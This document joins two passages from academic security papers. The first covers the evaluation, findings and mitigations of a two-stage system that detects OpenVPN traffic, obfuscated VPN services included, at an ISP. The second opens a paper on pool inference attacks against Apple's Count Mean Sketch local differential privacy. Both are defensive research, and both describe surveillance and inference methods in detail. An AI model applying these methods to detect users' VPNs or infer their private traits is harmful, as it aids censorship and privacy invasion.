ation is two-fold: we generate control vanilla and obfuscated
flows with commercial VPN providers and attempt to identify
them as a network intermediary; we also process other traffic
passing through our Monitoring Station in order to estimate
the false positive rate of our framework.

We set up our framework on a 16-core server (Monitoring
Station) inside Merit with two mirroring interfaces that have
an aggregated 20 Gbps bandwidth. Due to the large traffic vol-
ume, we optimize our deployment with PF_RING [38] in or-
der to improve the packet processing speed. We employ PF_-
RING in zero-copy mode and spread the traffic load across a
Zeek cluster of 15 workers. Nonetheless, due to limited CPU
resources, we only sample 12.5% of all TCP and UDP flows
arriving at the network interfaces in order to minimize the
effect of packet loss. The sampling is based on IP pairs so that
all bi-directional traffic of a flow will be selected/dropped to-
gether. With these settings, we are able to operate with an end-
to-end packet loss rate under 3%. Even though we process
only a fraction of all traffic, our Filter still handles over 15 Ter-
abytes of traffic from over 2 billion flows on an average day
on a single server. In addition, processing all traffic without
sampling is feasible through parallelism or using faster CPUs.

Next, we set up Probers on two dedicated measurement ma-
chines, each provisioned with 10 IPv4 and 1 IPv6 addresses.
By the end of each day during the evaluation, the Probers
fetch filtering logs from the Monitoring Station. For each
target, we run a Masscan [25] to the /29 subnet the IP belongs
to over all TCP ports (1-65535). We follow up each discov-
ered open port by running our probing scheme, and endpoints
confirmed through probing are recorded for manual analysis.

To select VPN services for evaluation, we first generate a
list of “top” VPN services ranked by popularity. We com-
bine 80 providers, most of which are paid premium VPN
services, from top VPN recommendation sites based on previ-
ous work [42], listed in Appendix Table 4. Next, we visit the
websites of these VPN providers searching for “Obfuscation”,
“Stealth”, or “Camouflage Mode” etc., and include providers
that offer at least one obfuscated VPN configuration. In total,
we find 24 providers offering obfuscated services. We test
all obfuscation configurations if more than one is offered as
well as vanilla OpenVPN for each provider. If TCP and UDP
modes are both available, we test them separately. In total,
we have 81 configurations, 41 of which are obfuscated ones.

We configure the Client Station inside Merit to act as a
VPN client. Both upstream and downstream traffic of the
Client Station go through the router that mirrors traffic to
the Monitoring Station. In addition, we exclude this server
from our random sampling so that all traffic to/from this

Control Flows Overall Recall 3141/4120 (76.24%)
Filter Recall 3635/4020 (90.42%)
Prober Recall 3186/3635 (87.65%)
Vanilla Recall 1718/2000 (85.90%)
Obfuscated Recall 1468/2020 (72.67%)

All Flows Flow Count 23183039736
Bytes Processed 124.67 Terabyte
Flows ≥ Observation Window 10070994
Filter Outputs 75850
Probing Outputs 3638

Confirmed OpenVPN Flows 3245
Remaining Unclassified 393 (0.0039%)%

Table 3: High-level evaluation statistics on Merit.

server will be analyzed. On the client, we run an automated
script to generate control traffic for our evaluation. For each
iteration, we start the VPN client application and connect to
the “default / recommended” server using Pywinauto [41].
After a random wait of 20 to 180 seconds, we confirm that the
VPN tunnel is active and generate random browsing traffic
with Selenium [45] by sending requests to a random website
from the Alexa top 500. Finally, we disconnect from the VPN
server and wait for 180 seconds before proceeding to the next
iteration. For each VPN configuration, we repeat the process
50 times and collect packet captures for reference.

9 Evaluation & Findings

We started the evaluation on August 13, 2021, and kept the
monitor running for a week until August 20. Table 3 contains
high-level statistics of the evaluation. A more detailed result
that breaks down statistics by each control VPN configuration
can be found in Appendix Table 5.

9.1 Results for control VPN flows

Overall, we are able to identify 1,718 out of 2,000 vanilla
flows, corresponding to 39 out of 40 unique configurations.
This suggests the majority of OpenVPN traffic and servers
are vulnerable to passive filtering and active probing, respec-
tively. The few exceptions correspond to VPN providers that
only offer UDP-based services or hide their servers behind
IDS [7], which thwarts our probing attempts. Surprisingly,
we also identify over two-thirds of all obfuscated flows, cor-
responding to 34 out of 41 obfuscated configurations. This
result is mostly due to obfuscated services using OpenVPN as
their backbone protocol and insufficient obfuscation failing to
mask OpenVPN’s fingerprints. Alarmingly, out of the “top 10”
VPN providers ranked by top10vpn.com [52], eight provide
obfuscation services of some sort, suggesting that being unde-
tectable is within the providers’ threat model for their clients.
Yet, all of them are flagged as suspect flows due to either
insufficient encryption (Opcode) or insufficient obfuscation
over packet length (ACK). Considering that these obfuscated
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VPN services usually claim to be “undetectable” or claim that
the obfuscation “keeps you out of trouble” [5, 54], this result
is alarming as users who use these services may have a false
sense of privacy and “unobservability”.

4 out of the “top 5” VPN providers use XOR-based
obfuscation, which is easily fingerprintable. We find that
among the “top 5” VPN providers [52], four offer obfuscated
services, all of which nonetheless are flagged as OpenVPN
flows by our Filter over 90% of the time. A closer look at the
raw packet capture suggests that all of them employ obfus-
cations that are almost identical to the unofficial XOR patch,
thereby making them vulnerable to fingerprinting. Alarm-
ingly, the XOR-based obfuscation—despite being rejected
by OpenVPN developers [57]—appears to be a major obfus-
cation strategy adopted by the majority of VPN providers
we test, who often praise the patch for its simplicity and low
overhead. Although the patch can bypass some of the most
basic filters adopted by existing open-source DPI tools, we
have demonstrated that even a slightly more sophisticated
filter will be able to reliably and accurately detect them.

Wrapping OpenVPN inside encrypted tunnels is a pop-
ular obfuscation strategy, yet some flows are still recog-
nizable due to a lack of random padding. Another popular
class of obfuscation strategies is tunnel-based, which wraps
OpenVPN traffic inside an encrypted tunnel to frustrate any
analysis over packet payloads. Examples include Stunnel,
SSH tunnel, Shadowsocks, obfs{2/3/4}, and V2Ray(VMess).
Overall, we find 20 obfuscated configurations deployed by 14
VPN providers that are tunnel-based. However, most of these
tunnels do not add random padding to the payload being tun-
neled, with the only exceptions being obfs4 and VMess which
can draw packet sizes from certain distributions. Among
the 20 tunnel-based obfuscated services, only three of them
deploy obfs4 and only one deploys VMess, leaving the re-
maining 16 vulnerable to ACK fingerprinting. We note that
this does not mean these tunneling tools do not work, but
rather that protection against traffic analysis is not among the
design goals. For example, the threat model of obfs3, which
is deployed by Perfect Privacy VPN, states that the obfus-
cator “does not try to protect against non-content protocol
fingerprints, like the packet size or timing” [32]. Yet, we have
demonstrated that for applications with distinct signature over
packet length, such as OpenVPN, even the simplest threshold-
based detection can identify them with reasonable accuracy.

UDP and obfuscated servers often share infrastructure
with vanilla TCP servers, leaving them “guilty by associ-
ation”. We discover that the majority of UDP and obfus-
cated OpenVPN services are co-located with vanilla TCP
servers. For example, TorGuard hosts vanilla and stunnel-
obfuscated OpenVPN instances on the same host but different
ports, whereas Perfect Privacy hosts them in neighboring IPs
(*.*.193.26 for vanilla, *.*.193.27 for Stunnel, *.*.193.28 for
SSH, and *.*.193.29 for obfs3). We find that for 34 out of

41 obfuscated services, at least one vanilla OpenVPN TCP
server can be found within the server’s /29 subnet. Similarly,
we were able to actively probe 18 out of 20 UDP configura-
tions due to their co-location with TCP servers. In addition,
we also find five providers sharing infrastructures used by
their obfuscated services. For example, one IP (23.95.*.*)
hosts Cryptostorm’s SSH-obfuscated service as well as Se-
cureVPN’s vanilla servers. This result is only a lower bound
as we did not connect to every single server available from
each provider. Obfuscated services using shared infrastruc-
tures may be easier for adversaries to identify and block.

On the positive side, some deployed services successfully
evade our detection. Some providers deploy randomizers
such as obfs4, v2ray, or proprietary protocols with random
padding, which stopped us at the filtering stage (e.g. Tunnel-
bear). In addition, some providers deploy their obfuscated
servers behind a firewall or IDS, which would respond with
SYN-ACKs to every arriving SYN packet on almost all TCP
ports [13,21]. Since we limit probe targets to 2,000 open ports
per IP for practical considerations, this leads to false nega-
tives when none of the probes hit an OpenVPN-listening port.
Moreover, some VPN providers do not host vanilla Open-
VPN TCP servers at all, such as VyprVPN, which currently
only supports UDP as transport. For these providers, even
though our Filter flags their flows as suspected OpenVPN, we
were not able to confirm with subsequent probing. Finally,
some providers host UDP or obfuscated servers outside the
/29 probing range of the vanilla TCP ones, and we miss them
due to probing resource constraints.

9.2 Results for all flows

Figure 10 shows an hour-level breakdown of the evaluation
statistics, excluding control flows. Overall, both the Filter and
Prober are able to reduce the number of suspected flows by
several orders of magnitude, which when combined flagged
3,638 flows as OpenVPN connections. We manually analyze
these flows to confirm our detection results.

Among the 3,638 flows, the destination servers for 469 of
them respond to our Base Probe #1 with an explicit server
reset, indicating the presence of a legitimate OpenVPN server
not configured with HMAC protection. For the remaining
3,169 flows, we first noticed that 2,580 of them are between a
single IP pair. Based on our log, the client initiates a connec-
tion every 4 minutes to the server on port 1194 (assigned to
OpenVPN). Reverse DNS lookup associates the client IP with
the “lib-locker” subdomain under a private university in the
US. Furthermore, the server runs a TLS service listening on
port 443, which sends a certificate belonging to a smart locker
company with subject and issuer CN as “vpn._COMPANY_-
.com”. Based on these evidence, we believe the captured
flows correspond to the secure communications between a
deployed smart locker and the infrastructure that controls it.
This also suggests that the fingerprintability of OpenVPN may
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Figure 10: Merit evaluation results over days, excluding Control VPN flows.

not only be a problem concerning censorship circumvention,
but it may also be used for reconnaissance to identify and
target IoT devices that communicate to their servers over an
OpenVPN channel. Finally, we attempt to further character-
ize the remaining 589 flows based on circumstantial evidence
about the destination endpoint.

Co-location with TLS In practice, TLS is the most com-
mon application we have seen that is co-located with an Open-
VPN instance. For each of the remaining flows, we probe
its destination endpoint with a TLS Client Hello and analyze
the certificate and web page returned. Endpoints of 40 flows
return certificates whose subject or issuer CN suggest VPN ac-
tivity, such as *.vpn.ipvanish.com, *.vpn.wlvpn.com,
*.virtualshield.org, and OpenVPN Web CA. In addi-
tion, 16 endpoints serve OpenVPN web interfaces over TLS.

WHOIS, DNS PTR, ISP Name We look up the WHOIS
and DNS PTR records of the destination endpoints. 11 server
IPs of 41 flows contain WHOIS records that can be linked
back to a VPN provider, such as protonvpn-*, PRIVADO-*,
and secureconnectivity-*. In addition, 2 servers have
DNS PTR records as *.strong.blackoakcomputers.com
and fosvpncluster.fos.*.com.

IP Context Service Several online platforms claim to offer
VPN IP database or IP context services. We found 124 flows
that can be linked to a commercial VPN server IP by the
lookup service hosted on spur.us. However, these services
do not disclose their specific methodology and their accuracy
has not been systematically evaluated.

Our 7-day evaluation flagged 3,638 flows that are identified
as “OpenVPN” from over 10 million flows that exceed our
observation window. Among these, we are able find evidence
that supports our detection result for 3,245 flows. The major-

ity of the remaining 393 flows have server IPs belonging to
cloud hosting services, and we are not able to further classify
them. Conservatively, we can upper bound the false positive
rate to 0.0039%, which is three orders of magnitude lower
than previous ML-based approaches (1.4%-5.5%) [3, 14, 26]

10 Discussion and Mitigations

ISPs and government censors are motivated to detect Open-
VPN flows in order to enforce traffic policies and information
controls. We demonstrate that tracking and blocking the use
of OpenVPN, even with most deployed obfuscation methods,
is practical at scale and with minimal collateral damage. We
note that many VPN providers’ claims that their obfuscated
services are unobservable appear to be misleading and po-
tentially dangerous, especially to users from countries where
personal VPN usage is illegal. In light of our findings, users
should not expect complete unobservability even when con-
nected to “obfuscated” OpenVPN-based services.

Putting the human danger aside, the ease of fingerprinting
makes OpenVPN more susceptible to throttling or block-
ing from ISPs and governments. Previous research suggests
that some censors already use two-stage pipelines, which are
highly similar to our deployment, to detect other protocols
such as Tor or Shadowsocks [1, 71]. These adversaries can
quickly adapt such infrastructure to detect OpenVPN traffic
by simply adding protocol-specific fingerprints and probes.
Furthermore, while we focus on OpenVPN due to its over-
whelming popularity among commercial VPNs, it is possible
to extend our two-stage framework to other VPN protocols
(e.g., WireGuard and StrongSwan) by analyzing their commu-
nication patterns and server behaviors. Governments can also
quickly adopt these fingerprints to track and block VPN usage
during sensitive times, like political upheavals, when VPN
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connections are most vital to the free flow of information.

Short-Term Mitigation There are several defensive strate-
gies to achieve near-term protection from the fingerprint-
ing attack we describe. First, VPN providers offering both
vanilla and obfuscated OpenVPN services should avoid co-
locating them. Ideally, obfuscation servers should be well
separated from OpenVPN instances in the network address
space and operate as “bridge servers” that forward client traf-
fic to VPN servers elsewhere. For example, Mullvad VPN
offers a Shadowsocks-based obfuscator service as a dedicated
bridge, separating the VPN servers from the obfuscation [28].

Second, VPN providers should switch from static to ran-
dom padding for their obfuscated services. As we have
shown, for protocols with a stable and distinctive handshake
phase, even the most basic threshold-based detector is able
to fingerprint them by packet sizes. Ideally, the obfuscation
layer should be able to send zero-length packets (packets
whose payloads are all padding) to break the one-to-one cor-
respondence between the unobfuscated and obfuscated packet
streams [72]. Yet it is worth noting that previous work has
shown that even fully randomized obfuscators (e.g., obfs4)
can themselves be vulnerable to entropy-based fingerprinting
attacks [67].

Third, we suggest that the OpenVPN developers follow
recommendations from previous work with regard to how
servers respond to failed handshake attempts. Servers closing
failed connections immediately or in a predictable manner
has enabled active probing attacks against a variety of other
protocols [1, 13, 58]. In response, these protocols have imple-
mented either unlimited timeouts (reading from the buffer in-
definitely) or diversified close behaviors (in which each server
instance closes failed connections in a different manner).

Long-Term Defenses In the long term, we fear that the cat-
and-mouse game between censors and circumvention tools,
such as the Great Firewall and Tor, will occur in the VPN
ecosystem as well, and developers and providers will have
to adapt their obfuscation strategies to the evolving adver-
saries. We urge commercial VPN providers to adopt more
standardized obfuscation solutions, such as Pluggable Trans-
ports [39], and to be more transparent about the techniques
used by their obfuscated services. This transparency will help
foster development of stronger obfuscation methods and en-
courage developers to design better techniques to overcome
the progress of information control technologies. Additional
future work is needed to characterize the performance costs
of different approaches to VPN obfuscation and to help users
with varying threat models make appropriate trade-offs be-
tween performance and resilient unobservability.

11 Conclusion

We have demonstrated that OpenVPN, even with widely ap-
plied obfuscation techniques, can be reliably detected and
blocked at-scale by network-based adversaries. Inspired by
previous real-world censorship events, we designed a two-
phase system that performs passive filtering followed by ac-
tive probing to fingerprint OpenVPN flows. We evaluated the
practicality of our approach in partnership with a mid-size
ISP, and we were able to identify the majority of vanilla and
obfuscated OpenVPN flows with only negligible false posi-
tives, which supports that the techniques we describe would
be practical even for adversaries averse to collateral damage.

Users worldwide rely on VPNs to protect their security
and privacy and to escape Internet censorship, yet the ease of
fingerprinting OpenVPN traffic and the commodification of
DPI technologies bring monitoring and blocking of popular
VPN services within reach for almost any network opera-
tor. We propose several short-term mitigations that can help
defend against these threats, but in the long term, we urge
VPN providers to adopt more resilient and better standardized
obfuscation approaches.
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A Appendix

Figure 11: Evaluation Process for Active Server Fingerprinting.

Figure 12: Decision tree derived from ISP and VPN datasets.
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VPN Provider Name Transport Variant Collection Size Filter Filter Rate Opcode/ACK Prober Overall Rate

AirVPN TCP SSL Tunnel 50 49 0.98 0/49 49 0.98
AirVPN TCP SSH Tunnel 50 16 0.32 0/16 16 0.32
AirVPN TCP Vanilla 50 48 0.96 48/48 37 0.74
AirVPN UDP Vanilla 50 49 0.98 49/49 49 0.98
Astrill TCP Proprietary 50 47 0.94 0/47 9 0.18
Astrill UDP Proprietory/XOR* 50 50 1 50/6 0 0
Astrill UDP Vanilla 50 49 0.98 49/7 4 0.08
BolehVPN TCP XOR* 50 50 1 50/50 50 1
BolehVPN UDP XOR* 50 49 0.98 49/46 49 0.98
BolehVPN TCP Vanilla 50 50 1 50/50 50 1
BolehVPN UDP Vanilla 50 50 1 50/49 50 1
CactusVPN TCP Obfsproxy 50 0 0 0/0 0 0
CactusVPN TCP Vanilla 50 50 1 48/50 50 1
CactusVPN UDP Vanilla 50 50 1 50/50 50 1
Cryptostorm TCP HTTPS Tunnel 50 48 0.96 0/48 19 0.38
Cryptostorm TCP SSH Tunnel 50 27 0.54 0/27 7 0.14
Cryptostorm TCP Vanilla 50 48 0.96 48/48 13 0.26
Cryptostorm UDP Vanilla 50 49 0.98 49/49 16 0.32
ExpressVPN TCP/UDP XOR* 20 20 1 20/4 16 0.8
ExpressVPN TCP Vanilla 50 49 0.98 49/49 29 0.58
ExpressVPN UDP Vanilla 50 50 1 50/50 32 0.64
Hide.me TCP Vanilla 50 49 0.98 49/49 49 0.98
Hide.me UDP Vanilla 50 45 0.9 45/45 41 0.82
IPVanish TCP XOR* 50 49 0.98 49/49 49 0.98
IPVanish UDP XOR* 50 50 1 50/50 50 1
IPVanish TCP Vanilla 50 50 1 50/50 50 1
IPVanish UDP Vanilla 50 47 0.94 47/47 47 0.94
IVPN TCP Obfsproxy 50 0 0 0/0 0 0
IVPN TCP Vanilla 50 50 1 50/50 50 1
IVPN UDP Vanilla 50 50 1 50/50 50 1
KeepSolid/Unlimited TCP Proprietory/XOR* 50 50 1 50/50 50 1
KeepSolid/Unlimited UDP Proprietory/XOR* 50 50 1 50/50 50 1
KeepSolid/Unlimited TCP Vanilla 50 50 1 50/50 50 1
Mullvad TCP Shadowsocks 50 39 0.78 0/39 0 0
Mullvad TCP Vanilla 50 47 0.94 47/47 47 0.94
Mullvad UDP Vanilla 50 49 0.98 49/49 49 0.98
NordVPN TCP/UDP XOR* 50 50 1 50/50 50 1
NordVPN TCP Vanilla 50 50 1 48/50 50 1
NordVPN UDP Vanilla 50 50 1 50/50 50 1
PerfectPrivacy TCP Stunnel 50 47 0.94 0/47 47 0.94
PerfectPrivacy TCP SSH 50 39 0.78 0/39 39 0.78
PerfectPrivacy TCP Obfsproxy3 50 42 0.84 0/42 42 0.84
PerfectPrivacy TCP Vanilla 50 50 1 50/50 50 1
PerfectPrivacy UDP Vanilla 50 49 0.98 49/49 49 0.98
PrivateInternetAccess TCP Shadowsocks 50 50 1 0/50 50 1
PrivateInternetAccess TCP Vanilla 50 50 1 50/50 50 1
PrivateInternetAccess UDP Vanilla 50 50 1 50/50 50 1
PrivateVPN TCP Shadowsocks 50 50 1 0/50 50 1
PrivateVPN TCP Vanilla 50 50 1 49/50 50 1
PrivateVPN UDP Vanilla 50 50 1 50/49 50 1
SecureVPN TCP SSH Tunnel 50 50 1 0/50 50 1
SecureVPN TCP SSL Tunnel 50 49 0.98 0/49 49 0.98
SecureVPN TCP Vanilla 50 50 1 50/50 50 1
SecureVPN UDP Vanilla 50 49 0.98 48/49 49 0.98
StrongVPN TCP XOR 50 50 1 50/50 50 1
StrongVPN UDP XOR 50 50 1 50/50 50 1
StrongVPN TCP Vanilla 50 49 0.98 49/49 49 0.98
StrongVPN UDP Vanilla 50 49 0.98 49/49 49 0.98
SurfShark TCP Proprietary/XOR* 50 50 1 50/50 50 1
SurfShark UDP Proprietary/XOR* 50 50 1 50/50 45 0.9
TorGuard TCP XOR* 50 50 1 49/50 50 1
TorGuard UDP XOR* 50 50 1 50/50 50 1
TorGuard TCP SSL Tunnel 50 44 0.88 0/44 44 0.88
TorGuard TCP Vanilla 50 50 1 50/50 50 1
TorGuard UDP Vanilla 50 49 0.98 49/48 49 0.98
TunnelBear TCP Obfsproxy 50 0 0 0/0 0 0
TunnelBear TCP Vanilla 50 50 1 50/50 50 1
VPN.AC TCP XOR 50 50 1 50/50 50 1
VPN.AC UDP XOR 50 50 1 50/50 50 1
VPN.AC TCP V2Ray 50 0 0 0/0 0 0
VPN.AC TCP Vanilla 50 50 1 50/50 50 1
VPN.AC UDP Vanilla 50 50 1 50/50 50 1
VPNArea TCP Stunnel 50 49 0.98 0/49 49 0.98
VPNArea TCP Vanilla 50 50 1 50/50 50 1
VPNArea UDP Vanilla 50 50 1 50/49 50 1
VyprVPN UDP Proprietory 50 0 0 0/0 0 0
VyprVPN UDP Vanilla 50 50 1 50/50 0 0
Windscribe TCP TLS Tunnel 50 49 0.98 0/49 25 0.5
Windscribe TCP WebSocket Tunnel 50 48 0.96 0/48 24 0.48
Windscribe TCP Vanilla 50 50 1 50/50 50 1
Windscribe UDP Vanilla 50 50 1 50/50 50 1

Table 5: Evaluation results on Merit, breakdown by configuration. Highlighted rows are “obfuscated” configurations. Variants marked
with stars mean that the VPN provider does not disclose which obfuscation technique is used and we can only infer the variant type based on
packet captures. Note Hide.me claims the tls-crypt option alone is enough to “obfuscate entire traffic” [18]. However, this option only encrypts
control channel payloads but not the OpenVPN packer headers.
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Abstract
Behavioral data generated by users’ devices, ranging from
emoji use to pages visited, are collected at scale to improve
apps and services. These data, however, contain fine-grained
records and can reveal sensitive information about individual
users. Local differential privacy has been used by companies
as a solution to collect data from users while preserving pri-
vacy. We here first introduce pool inference attacks, where
an adversary has access to a user’s obfuscated data, defines
pools of objects, and exploits the user’s polarized behavior
in multiple data collections to infer the user’s preferred pool.
Second, we instantiate this attack against Count Mean Sketch,
a local differential privacy mechanism proposed by Apple
and deployed in iOS and Mac OS devices, using a Bayesian
model. Using Apple’s parameters for the privacy loss ε, we
then consider two specific attacks: one in the emojis setting —
where an adversary aims at inferring a user’s preferred skin
tone for emojis — and one against visited websites — where
an adversary wants to learn the political orientation of a user
from the news websites they visit. In both cases, we show the
attack to be much more effective than a random guess when
the adversary collects enough data. We find that users with
high polarization and relevant interest are significantly more
vulnerable, and we show that our attack is well-calibrated,
allowing the adversary to target such vulnerable users. We
finally validate our results for the emojis setting using user
data from Twitter. Taken together, our results show that pool
inference attacks are a concern for data protected by local
differential privacy mechanisms with a large ε, emphasizing
the need for additional technical safeguards and the need for
more research on how to apply local differential privacy for
multiple collections.

1 Introduction

User’s behavioral data, ranging from words typed to processes
running on the phone, are collected by operating systems,

∗Email: deMontjoye@imperial.ac.uk; Corresponding author.

Figure 1: Example of pools defined on a universe Ω consist-
ing of emojis, when the adversary is interested in determining
the skin tone that is most often selected by the user. In this
case, Usr’s preferred pool is the one containing medium-light
skin tone emojis.

apps, and services. This data allows companies to better un-
derstand user behavior, detect issues, and ultimately improve
services. For instance, iOS and Mac OS devices keep track of
websites that the user visits using the Safari browser, together
with the user’s preferences on videos that play automatically
when the page is loaded [4]. Aggregated over millions of
users, this data allows Apple to learn on which websites the
users generally want videos to play automatically and to set
default auto-play policies in Safari [4].

Local differential privacy, a variation of differential privacy,
is among the main solutions for such data collection. Mecha-
nisms satisfying local differential privacy avoid users having
to trust anyone, including the data curator. The mechanism
takes as input the original data recorded on the user device
(original objects) and shares with the curator a randomized
version (obfuscated objects) which should not reveal (almost)
anything about the original information [13, 21, 39]. A large
literature exists on mechanisms satisfying local differential
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privacy [39] and some mechanisms have been deployed at
scale by Google [15], Microsoft [11], and Apple [4].

One of these mechanisms is Count Mean Sketch (CMS).
CMS is used on iOS and Mac OS devices to report both emo-
jis used and websites visited to Apple. Featured in Apple’s
keynote, local differential privacy allows the company to “help
discover the usage patterns of a large number of users without
compromising individual privacy” [17]. This implementation,
and in particular Apple’s choice of the parameter ε, has come
under criticism from privacy researchers. It is generally be-
lieved that ε — which controls the privacy loss incurred by
the user — should typically not exceed ln(3) (≈ 1.10) [14].
Soon after the technology was deployed, it was found that
Apple’s implementation uses ε = 4 when collecting emoji
usage data and ε = 8 when collecting web domain data [33].

Apple’s choice to only consider the privacy loss per sub-
mission — once a day for both the web domain and emoji
data — instead of a total privacy loss εtot (after which objects
would no longer be collected from the user [2]) has similarly
raised concerns on theoretical ground. While Apple states
that they remove user identifiers and IP addresses after the
obfuscated objects are received by their server [4], this is a
measure that relies on trust and hence conflicts with local dif-
ferential privacy’s purpose of protecting against an untrusted
curator1. It is indeed well-known that the mathematical guar-
antees offered by local differential privacy degrade as multiple
objects are collected from the same user, something that can
be quantified with an upper bound using the Composition
Theorem [13] (εtot ≤ ε1 + . . .+εn). Regardless of how reveal-
ing the user’s original data may be, a low εtot would guarantee
that the obfuscated data will never leak much information.
However, εtot is a worst-case theoretical measure: it is unclear
the extent to which collecting multiple objects and using a
large ε for each object open the door to attacks in practice.
Pool inference attack. In this paper we propose the first —
to the best of our knowledge — quantification of the practical
privacy guarantees provided by a deployed local differential
privacy mechanism. We design a novel attack against CMS —
which we call pool inference attack — that works as follows:
first, the adversary receives a sequence of obfuscated objects
from a user; second, the adversary defines pools of interest for
the attack (i.e. disjoint groups of objects); third, the adversary
runs the attack to determine the user’s preferred pool — i.e.
the pool whose objects are most likely to be selected by the
user — along with a confidence score for the inference. In
our first use case, the adversary defines the pools to be groups
of emojis divided by skin tone (see Figure 1), the goal of the
attack being then to infer which is the emoji skin tone used
most frequently by the user.

1If one assumes that Apple removes any identifier — so that objects from
the same user are not linked together and cannot be linked back to individual
users —, then local differential privacy would be mostly unnecessary in the
first place. Collecting the original non-obfuscated objects and removing any
identifier would already preserve privacy in most settings.

Contributions. We make the following contributions: (i) We
propose pool inference attacks, a new class of attacks aiming
at quantifying the sensitive information leaked by local dif-
ferential privacy mechanisms in practice. We formalize the
attack model as a game which can be applied to any mecha-
nism that obfuscates objects independently. (ii) We propose a
general Bayesian model for pool inference attacks that can be
adapted to most local differential privacy mechanisms. The at-
tack uses a hierarchical probability model that simultaneously
encodes properties of the user’s behavior, the obfuscation of
the mechanism, and auxiliary information that may be avail-
able to the adversary. (iii) We instantiate the attack against
synthetic users in two practical settings where the adversary’s
goal is to infer user preferences (1) for emoji skin tone or (2)
political news website. We study the impact that properties of
user behavior — such as polarization — have on the attack’s
effectiveness, and show that our attack can estimate the prob-
ability that its output is correct. We also show that, in some
cases, CMS provides little protection compared to a scenario
where the user simply submits the true object without any
local differential privacy. (iv) We simulate the attack in the
emojis setting using data from Twitter, and find it to be very
effective on users who frequently select emojis supporting
skin tones. (v) We discuss potential solutions and mitigation
strategies that may prevent our attack or make it less effective.

2 Background

We now define local differential privacy and the CMS algo-
rithm, introducing the notation that will be used in the paper.
Local differential privacy [22]. A local differential privacy
mechanism is a randomized algorithm that takes as input an
original object from a set Ω and returns an obfuscated object
from a set Y . For example, Ω could be the set of all emojis
and Y could be the set of binary vectors of a fixed length. We
call Ω the universe of (original) objects and Y the space of
obfuscated objects. Intuitively, the algorithm enforces local
differential privacy if the probability that an input produces a
certain output is roughly equal for all inputs. Formally:
Let A : Ω→ Y be a randomized mechanism. A satisfies ε-
local differential privacy if e−ε Pr[A(x′) = y] ≤ Pr[A(x) =
y]≤ eε Pr[A(x′)= y] for any inputs x,x′ ∈Ω and output y∈Y .
We abbreviate the obfuscated object A(x) with x̃.
Count Mean Sketch [4]. CMS takes as input objects in the
universe Ω that the user has selected (e.g. emojis inserted
while typing a message) and returns a binary vector of length
m (together with an index), where m is typically much smaller
than |Ω|. It uses a family H = {h1, . . . ,h|H|} of hash func-
tions that map each object in Ω to an integer in {1, . . . ,m}.
Given an original object x ∈ Ω, CMS samples uniformly at
random a hash function h j ∈ H and produces the one-hot

vector v
h j
x of size m which is 1 at position h j(x) and 0 in all

502    31st USENIX Security Symposium USENIX Association



other entries. The vector v
h j
x can be seen as a compressed

version of x. Each bit of v
h j
x is then randomly flipped with

probability 1/(1+eε/2) or left unchanged with the remaining
probability eε/2/(1+ eε/2), obtaining the obfuscated vector
ṽ

h j
x . The output of CMS consists of the obfuscated vector and

the index of the hash function used to compute it:

x̃ = CMS(x; ε,m,H) = (ṽ
h j
x , j)

CMS satisfies ε-local differential privacy for any ε > 0 [4].
The parameters ε, m and H used by CMS on users’ devices
are typically set by the data curator. In particular, smaller ε

yield lower accuracy, but give better privacy guarantees. More-
over, the hash functions satisfy some technical properties that
ensure their behavior is tractable with probabilistic methods
— see Appendix A.1 for this and other details on CMS.

We note that the use of hash functions is not necessary to
achieve local differential privacy, but they make CMS more
space-efficient and offer additional privacy protection due
to hash collisions2. In fact, even if no bits are flipped, there
are often many original objects producing the same one-hot
vector, with the exact number depending on m and on the hash
function. Collisions make it impossible to infer the original
object from the obfuscated object. However, if the user is
likely to select most objects from a specific set (pool), after
multiple observations this fact can be inferred despite hash
collisions. This is the intuition behind our attack.

3 Pool inference attacks against local differen-
tial privacy

We define a new general attack model against local differential
privacy mechanisms, that we call pool inference attack model.
We then propose an attack for this attack model, which we
call the Bayesian Pool Inference Attack (BPIA).

3.1 Formalizing the pool inference attack
model

We consider an attack where objects are semantically grouped
in pools (e.g. skin tone of emojis, political orientation of
news websites), and the adversary tries to infer which pool
a target user samples from most frequently (their preferred
pool). Formally, we define the pool inference attack model as
a game between an adversary Adv and a target user Usr who
obfuscates their data with a mechanismA. We model the user
behavior as a probability distribution ΦUsr over the universe
Ω, reflecting the target user’s preferences for the objects in Ω

— i.e. the probability that Usr selects a certain object.
2We note that the additional protection coming from collisions is not

captured by the privacy loss ε, and hence requires practical attacks like ours
to be quantified.

3The estimated popularity is always assumed to be known to Adv but
may be uninformative when Adv uses no auxiliary information, i.e. if I = /0.

Symbol Description Known to Adv

Adv Adversary (runs the attack)
Usr User (target of the attack)

Ω Universe of (original) objects Yes
Y Space of obfuscated objects Yes
A Mechanism Yes

CMS Count Mean Sketch mechanism Yes
ε Privacy loss parameter Yes

H Family of hash functions Yes
m Length of obfuscated vector Yes

n Number of observations Yes
x1, . . . ,xn Original objects No

ΦUsr Usr’s behavior No
PUsr Usr’s preferred pool No

{Pi : Pi ̸= PUsr} Usr’s alternative pools No
γUsr Usr’s relevant interest No
δUsr Usr’s polarization No
pΩ True object popularity No

x̃1, . . . , x̃n Obfuscated objects (or observations) Yes
P1, . . . ,Pk Adv’s pools of interest Yes

Ω\∪k
i=1Pi Neutral pool Yes

I Adv’s auxiliary information Yes
score(Pi) Adv’s score for pool Pi Yes

P̂Usr Adv’s estimated preferred pool Yes
conf(P̂Usr) Adv’s confidence value Yes

Φ Adv’s user representation Yes
p̂Ω Adv’s estimated object popularity Yes3

Table 1: Notation and definitions. We indicate which ele-
ments are known to the adversary according to the pool infer-
ence attack model.

Pool Inference Game.

• Step 1. Usr samples n original objects x1, . . . ,xn inde-
pendently according to ΦUsr. Then, Usr runs A(xt)
independently on each xt , producing the obfuscated
objects x̃1, . . . , x̃n.

• Step 2. Adv selects k pools of interest P1, . . . ,Pk ⊆Ω,
which are pairwise disjoint subsets of Ω that can have
arbitrary and different sizes.

• Step 3. Usr sends x̃1, . . . , x̃n to Adv.

• Step 4. Adv runs an attack that returns one pool
P̂Usr ∈ {P1, . . . ,Pk}, which we call Adv’s estimated
preferred pool.

Adv wins the game if P̂Usr = PUsr, where

PUsr
def
= argmax

P1,...,Pk

ΦUsr(Pi)

is the user’s (true) preferred pool among P1, . . . ,Pk.
Without loss of generality, we always assume that the pre-

ferred pool PUsr is unique, i.e. ΦUsr(Pi)< ΦUsr(PUsr) for all
Pi ̸= PUsr. We refer to all the pools in {Pi : Pi ̸= PUsr} as al-
ternative pools. We also define the neutral pool as the set
Ω\∪k

i=1Pi of all objects not in any pool, and call its elements
